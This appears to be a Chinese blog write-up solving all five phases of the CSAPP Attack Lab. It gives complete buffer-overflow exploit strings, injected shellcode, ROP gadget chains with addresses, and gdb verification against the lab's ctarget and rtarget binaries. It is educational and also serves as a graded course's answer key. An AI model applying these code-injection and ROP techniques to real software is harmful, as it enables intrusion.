# 前言
本系列文章意在记录答主学习CSAPP Lab的过程,也旨在可以帮助后人一二,欢迎大家指正!
tips:本lab主要是利用gets中的不安全(越界,覆盖原栈桢内容),缺陷来进行攻击(缓冲区溢出)
Part I : Code Injection Attacks
? 第一部分是利用代码注入进行攻击,CMU15-213将ctarget关闭了栈随机化并且将栈标记为可执行的,以简化难度,让代码更容易被攻击。
Phase 1
目标:使test函数再调用getbuf()之后不返回自身,而是转移至touch1(),执行函数touch1()的代码。
这一问难度不是特别高,无需注入新的代码,只需将原返回函数test()的地址修改为touch1()的地址即可。
# getbuf的反汇编代码
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
? 从中可以发现getbuf()构造了5B的栈帧,即栈桢如下图。
? 返回函数test()地址在0xdca0处,只需将此处的数据更改为touch1()的地址(0x00000000004017c0)即可。
? 前5B的字符随意填充(此处将随意字符全部填充为00),第6B的字符写入0x4017c0。
tips: Intel中数据是以小端方式存储,所以在字符串的字节表示中要将地址反转写入。
#level1 strings的字节表示
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 /* touch1's address is 0x00000000004017c0 */
通过./hex2raw < ctarget1.txt > ctarget1-raw.txt 转换为目标字符串
? 接下来可以打印栈桢信息进行验证。(gdb:info frame)
#读入字符串之前(即执行Gets函数前),saved rip的值为返回test()的地址
Stack level 0, frame at 0x5561dca8:
rip = 0x4017af in getbuf (buf.c:14); saved rip = 0x401976
called by frame at 0x5561dcb8
source language c.
Arglist at 0x5561dc70, args:
Locals at 0x5561dc70, Previous frame's sp is 0x5561dca8
Saved registers:
rip at 0x5561dca0
#读入字符串之后,此时saved rip 的值即为touch1()的地址
Stack level 0, frame at 0x5561dca8:
rip = 0x4017b4 in getbuf (buf.c:16); saved rip = 0x4017c0
called by frame at 0x5561dcb0
source language c.
Arglist at 0x5561dc70, args:
Locals at 0x5561dc70, Previous frame's sp is 0x5561dca8
Saved registers:
rip at 0x5561dca0
输出结果如下:
./ctarget -q -i ctarget1-raw.txt
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
Phase 2
目标:test函数调用getbuf()后不返回自身而返回函数touch2(val),并令函数touch2(val)的输入参数cookie
做法:修改返回地址,并在返回至touch2之前将%edi设置为cookie,即先返回至注入代码位置并执行,后返回到touch2()
? 为了先返还至注入代码位置,则就在原存放返回test()地址位置处存放注入代码的地址,而后在注入代码返回后原%rsp+0x8,所以在原存放test()地址位置+0x8处存放touch2()的地址,注入代码的位置则只要在栈桢内且不超过返回地址的值即可。
? 具体信息请看下图部分目标栈桢。
注入代码为:
mov $0x59b997fa,%edi # my cookie is 0x59b997fa
retq
将其转换为字节表示
gcc -c code.s
objdump -d code.o > code.d
#code.d
code.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: bf fa 97 b9 59 mov $0x59b997fa,%edi
5: c3 retq
根据以上分析填充字符串的字节表示为
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
bf fa 97 b9 59 /* mov $0x59b997fa,%edi */
c3 /* retq */
00 00
98 dc 61 55 00 00 00 00 /* return injected code's address 0x5561dc98 */
ec 17 40 00 00 00 00 00 /* return touch2's address is 0x00000000004017ec */
执行函数gets()后,打印此处栈桢验证,符合此前规划栈桢情况。
(gdb) x/7gx $rsp
0x5561dc78: 0x0000000000000000 0x0000000000000000
0x5561dc88: 0x0000000000000000 0x0000000000000000
0x5561dc98: 0x0000c359b997fabf 0x000000005561dc98
0x5561dca8: 0x00000000004017ec
输出结果如下:
./ctarget -q -i ctarget2-raw.txt
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BF FA 97 B9 59 C3 00 00 98 DC 61 55 00 00 00 00 EC 17 40 00 00 00 00 00
Phase 3
目标:test函数调用getbuf()后不返回自身而返回函数touch3(val),并令函数touch3()的输入参数为cookie的字符串表示形式("59b997fa")所在的地址,并且在hexmatch()中存储局部变量时设了小的障碍,要注意存放“cookie”的栈桢地址,防止被破坏数据。
分析:找到“59b997fa”的字节表示,并选取合适的位置存储,其他部分与Level 2中相同。
为了防止存储的“59b997fa”(cookie的字符串表示)被后续hexmatch()的栈桢所破坏,可以将其放入返回touch3()地址的上方。
具体请看下方部分目标栈桢图。
注入代码为:
mov $0x5561dcb0,%edi #存放“cookie”=“59b997fa”的地址
retq
将其转换为字节表示
gcc -c code.s
objdump -d code.o > code.d
#code.d
code.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: bf b0 dc 61 55 mov $0x5561dcb0,%edi
5: c3 retq
根据以上分析填充字符串的字节表示为
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
bf b0 dc 61 55 /* mov $0x5561dcb0,%edi */
c3 /* retq */
00 00
98 dc 61 55 00 00 00 00 /* return injected code's address 0x5561dc98 */
fa 18 40 00 00 00 00 00 /* return touch3's address 0x00000000004018fa */
35 39 62 39 39 37 66 61 /* store the string represention of my_cookie = "59b997fa" is 0x6166373939623935 in memory */
执行函数gets()后,打印此处栈桢验证,符合此前规划栈桢情况。
(gdb) x/8gx $rsp
0x5561dc78: 0x0000000000000000 0x0000000000000000
0x5561dc88: 0x0000000000000000 0x0000000000000000
0x5561dc98: 0x0000c35561dcb0bf 0x000000005561dc98
0x5561dca8: 0x00000000004018fa 0x6166373939623935
(gdb) x/s ($rsp+0x38)
0x5561dcb0: "59b997fa"
输出结果如下:
./ctarget -q -i ctarget3-raw.txt
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BF B0 DC 61 55 C3 00 00 98 DC 61 55 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
tips:phase3的实现中讨了巧,因为栈不会随机化,所以我在注入的汇编代码中直接给出了"cookie"的地址,更好的方法是利用%rsp+偏移量的方法来计算其地址,不过这样代码量会增加不少。具体在phase 5中有所实现。
tips:!!! 字符串表示与其字节表示的不同!!(level 2 和 level 3对比)
Part II: Return-Oriented Programming
? 开启栈随机化与栈中内容是不可执行的,注入新的代码进行攻击就不可实现了。但因为关闭了canary(金丝雀),所以溢出缓冲区还是可行的。
? 此处的partII采用面向返回编程进行攻击。
ROP:不注入新的代码,而对原有代码进行“断章取义”,形成一个一个gadget,在栈中存入(利用exploit string)指向这些gadget的地址以及所需的数据(利用popq作为一个gadget从栈中取出数据到寄存器)
即用已有的程序与资源,看如何操作才能凑出我的目标!!!
Phase 4
目标:与phase2目的相同,不同的在于不可使用注入代码攻击,而是使用ROP方法。
分析:在调用touch2()之前将cookie的值存储至%rdi中
提示:此次任务只用到两个gadgets,并且都在start_farm 与 mid_farm 之间。 nop is 0x90
通过这些提示我们就能想到所使用的代码为popq 与mov 的组合。即 popq R movq R, %rdi
思路:可以先行利用vim的搜索键在代码中搜索存在哪一种popq 指令(只有针对一种寄存器的popq指令),找到R后,继而就能很轻松地找到mov 指令。
# popq %rax retq (58 c3) 两种选择都可行 其中0x90为nop指令
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
# movq %rax, %rdi retq (48 89 c7 c3)
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
所以目标栈桢以下如图所示:
expolit string 为:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00 /* popq %rax nop retq return getval_280's address + 2 is 0x00000000004019cc */
fa 97 b9 59 00 00 00 00 /* cookie is 0x59b997fa */
a2 19 40 00 00 00 00 00 /* movq %rax, %rdi retq return addval_273's address + 2 is 0x00000000004019a2 */
ec 17 40 00 00 00 00 00 /* return touch2's address 0x00000000004017ec */
打印%rsp处数据如下,符合预期。(此时左边的栈地址是会变化的哦~因为对于rtarget启用了栈随机化)
(gdb) x/9gx $rsp
0x7ffffffaa7d0: 0x0000000000000000 0x0000000000000000
0x7ffffffaa7e0: 0x0000000000000000 0x0000000000000000
0x7ffffffaa7f0: 0x0000000000000000 0x00000000004019cc
0x7ffffffaa800: 0x0000000059b997fa 0x00000000004019a2
0x7ffffffaa810: 0x00000000004017ec
GDB至两个目标gadget处可分析如下。
# gadget1:pop %rax
(gdb) disassemble
Dump of assembler code for function getval_280:
0x00000000004019ca <+0>: mov $0xc3905829,%eax
0x00000000004019cf <+5>: retq
End of assembler dump.
(gdb) info registers $rip
rip 0x4019cc 0x4019cc <getval_280+2>
(gdb) x/3i $rip
=> 0x4019cc <getval_280+2>: pop %rax
0x4019cd <getval_280+3>: nop
0x4019ce <getval_280+4>: retq
# gadget2:mov %rax,%rdi
(gdb) disassemble
Dump of assembler code for function addval_273:
0x00000000004019a0 <+0>: lea -0x3c3876b8(%rdi),%eax
0x00000000004019a6 <+6>: retq
End of assembler dump.
(gdb) i r $rip
rip 0x4019a2 0x4019a2 <addval_273+2>
(gdb) x/2i $rip
=> 0x4019a2 <addval_273+2>: mov %rax,%rdi
0x4019a5 <addval_273+5>: retq
输出结果如下:
./rtarget -q -i rtarget1-raw.txt
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
Phase 5
目标:与phase3目的相同,不同的在于不可使用注入代码攻击,而是使用ROP方法。
分析:在调用touch3()之前将“cookie"的值存储至%rdi中
提示:此次任务需用到八个gadgets。
分析:(利用倒推法给出各个gadgets汇编代码)
1.首先"cookie"的值是要存储在栈桢中,因为栈随机化的特性,无法直接给出其地址,只能利用%rsp+偏移量的方法来计算其地址。
2.观察所给的ctarget中的gadget,其中有一条指令lea (%rdi,%rsi, 1), %rax 可以用来生成地址。
3.观察搜索所有的gadget与mov指令的字节码,发现只有一条路径可到达%esi,而无路径到达%rsi,所以%rdi用来存储%rsp的值,而%rsi来存储偏移量, 同时这也符合编译代码的使用规范。
4.随后利用倒推法则可以推出所有的汇编代码,需要注意的是,对于popq指令,rtarget中只有一条popq %rax。
# 将偏移量赋值给%esi
popq %rax # 58 只有这一个Popq
movl %eax,%edx # 89 c2 90
movl %edx,%ecx # 89 d1 (必须带后面这条指令,否则就没有符合的指令(符合 指后面接返回指令c3))
orb %cl, %cl # 08 db 不改变寄存器的值
movl %ecx,%esi # 89 ce 只有这一条路径到%esi(且也无路径到%rsi,这就变相地说明了%esi用于存放偏移量)
# 将%rsp赋值给%rdi
movq %rsp,%rax # 48 89 e0
movq %rax,%rdi # 48 89 c7
# 计算“cookie”的地址并赋给%rdi
lea (%rdi,%rsi, 1), %rax # 48 8d 04 37
movq %rax,%rdi
通过以上分析,目标栈桢如下图所示:
exploit string 为:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00 /* popq %rax nop retq return getval_280's address + 2 is 0x00000000004019cc */
20 00 00 00 00 00 00 00 /* offset */
dd 19 40 00 00 00 00 00 /* movl %eax,%edx nop retq return getval_481's address + 2 is 0x00000000004019dd */
69 1a 40 00 00 00 00 00 /* movl %edx,%ecx orb %cl,%cl retq return getval_311's address + 1 is 0x0000000000401a69 */
13 1a 40 00 00 00 00 00 /* movl %ecx,%esi nop nop retq return addval_436's address + 2 is 0x0000000000401a13 */
06 1a 40 00 00 00 00 00 /* movq %rsp,%rax retq return addval_190's address + 3 is 0x0000000000401a06 */
a2 19 40 00 00 00 00 00 /* movq %rax,%rdi retq return addval_273's address + 2 is 0x00000000004019a2 */
d6 19 40 00 00 00 00 00 /* lea (%rdi,%rsi,1),%rax retq return add_xy's address is 0x00000000004019d6 */
a2 19 40 00 00 00 00 00 /* movq %rax,%rdi retq return addval_273's address + 2 is 0x00000000004019a2 */
fa 18 40 00 00 00 00 00 /* return touch3's address 0x00000000004018fa */
35 39 62 39 39 37 66 61 /* store the string represention of my_cookie = "59b997fa" is 0x6166373939623935 in memory */
打印%rsp处数据如下,符合预期。(此时左边的栈地址是会变化的哦~因为对于rtarget启用了栈随机化)
(gdb) x/16gx $rsp
0x7ffffffb9ef0: 0x0000000000000000 0x0000000000000000
0x7ffffffb9f00: 0x0000000000000000 0x0000000000000000
0x7ffffffb9f10: 0x0000000000000000 0x00000000004019cc
0x7ffffffb9f20: 0x0000000000000020 0x00000000004019dd
0x7ffffffb9f30: 0x0000000000401a69 0x0000000000401a13
0x7ffffffb9f40: 0x0000000000401a06 0x00000000004019a2
0x7ffffffb9f50: 0x00000000004019d6 0x00000000004019a2
0x7ffffffb9f60: 0x00000000004018fa 0x6166373939623935
GDB至八个目标gadget处可分析如下。
# gadget1:pop %rax
(gdb) disassemble
Dump of assembler code for function getval_280:
0x00000000004019ca <+0>: mov $0xc3905829,%eax
0x00000000004019cf <+5>: retq
End of assembler dump.
(gdb) i r $rip
rip 0x4019cc 0x4019cc <getval_280+2>
(gdb) x/3i $rip
=> 0x4019cc <getval_280+2>: pop %rax
0x4019cd <getval_280+3>: nop
0x4019ce <getval_280+4>: retq
# gadget2:mov %eax,%edx
(gdb) disassemble
Dump of assembler code for function getval_481:
0x00000000004019db <+0>: mov $0x90c2895c,%eax
0x00000000004019e0 <+5>: retq
End of assembler dump.
(gdb) i r $rip
rip 0x4019dd 0x4019dd <getval_481+2>
(gdb) x/3i $rip
=> 0x4019dd <getval_481+2>: mov %eax,%edx
0x4019df <getval_481+4>: nop
0x4019e0 <getval_481+5>: retq
# gadget3:mov %edx,%ecx or %bl,%bl
(gdb) disassemble
Dump of assembler code for function getval_311:
0x0000000000401a68 <+0>: mov $0xdb08d189,%eax
0x0000000000401a6d <+5>: retq
End of assembler dump.
(gdb) i r $rip
rip 0x401a69 0x401a69 <getval_311+1>
(gdb) x/3i $rip
=> 0x401a69 <getval_311+1>: mov %edx,%ecx
0x401a6b <getval_311+3>: or %bl,%bl
0x401a6d <getval_311+5>: retq
# gadget4:mov %ecx,%esi
(gdb) disassemble
Dump of assembler code for function addval_436:
0x0000000000401a11 <+0>: lea -0x6f6f3177(%rdi),%eax
0x0000000000401a17 <+6>: retq
End of assembler dump.
(gdb) i r $rip
rip 0x401a13 0x401a13 <addval_436+2>
(gdb) x/4i $rip
=> 0x401a13 <addval_436+2>: mov %ecx,%esi
0x401a15 <addval_436+4>: nop
0x401a16 <addval_436+5>: nop
0x401a17 <addval_436+6>: retq
# gadget5:mov %rsp,%rax
(gdb) disassemble
Dump of assembler code for function addval_190:
0x0000000000401a03 <+0>: lea -0x1f76b7bf(%rdi),%eax
0x0000000000401a09 <+6>: retq
End of assembler dump.
(gdb) i r $rip
rip 0x401a06 0x401a06 <addval_190+3>
(gdb) x/2i $rip
=> 0x401a06 <addval_190+3>: mov %rsp,%rax
0x401a09 <addval_190+6>: retq
# gadget6:mov %rax,%rdi
(gdb) disassemble
Dump of assembler code for function addval_273:
0x00000000004019a0 <+0>: lea -0x3c3876b8(%rdi),%eax
0x00000000004019a6 <+6>: retq
End of assembler dump.
(gdb) i r $rip
rip 0x4019a2 0x4019a2 <addval_273+2>
(gdb) x/2i $rip
=> 0x4019a2 <addval_273+2>: mov %rax,%rdi
0x4019a5 <addval_273+5>: retq
# gadget7:lea (%rdi,%rsi,1),%rax
(gdb) disassemble
Dump of assembler code for function add_xy:
=> 0x00000000004019d6 <+0>: lea (%rdi,%rsi,1),%rax
0x00000000004019da <+4>: retq
End of assembler dump.
(gdb) i r $rip
rip 0x4019d6 0x4019d6 <add_xy>
(gdb) x/2i $rip
=> 0x4019d6 <add_xy>: lea (%rdi,%rsi,1),%rax
0x4019da <add_xy+4>: retq
# gadget8:mov %rax,%rdi
(gdb) disassemble
Dump of assembler code for function addval_273:
0x00000000004019a0 <+0>: lea -0x3c3876b8(%rdi),%eax
0x00000000004019a6 <+6>: retq
End of assembler dump.
(gdb) i r $rip
rip 0x4019a2 0x4019a2 <addval_273+2>
(gdb) x/2i $rip
=> 0x4019a2 <addval_273+2>: mov %rax,%rdi
0x4019a5 <addval_273+5>: retq
输出结果如下:
./rtarget -q -i rtarget2-raw.txt
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 69 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
|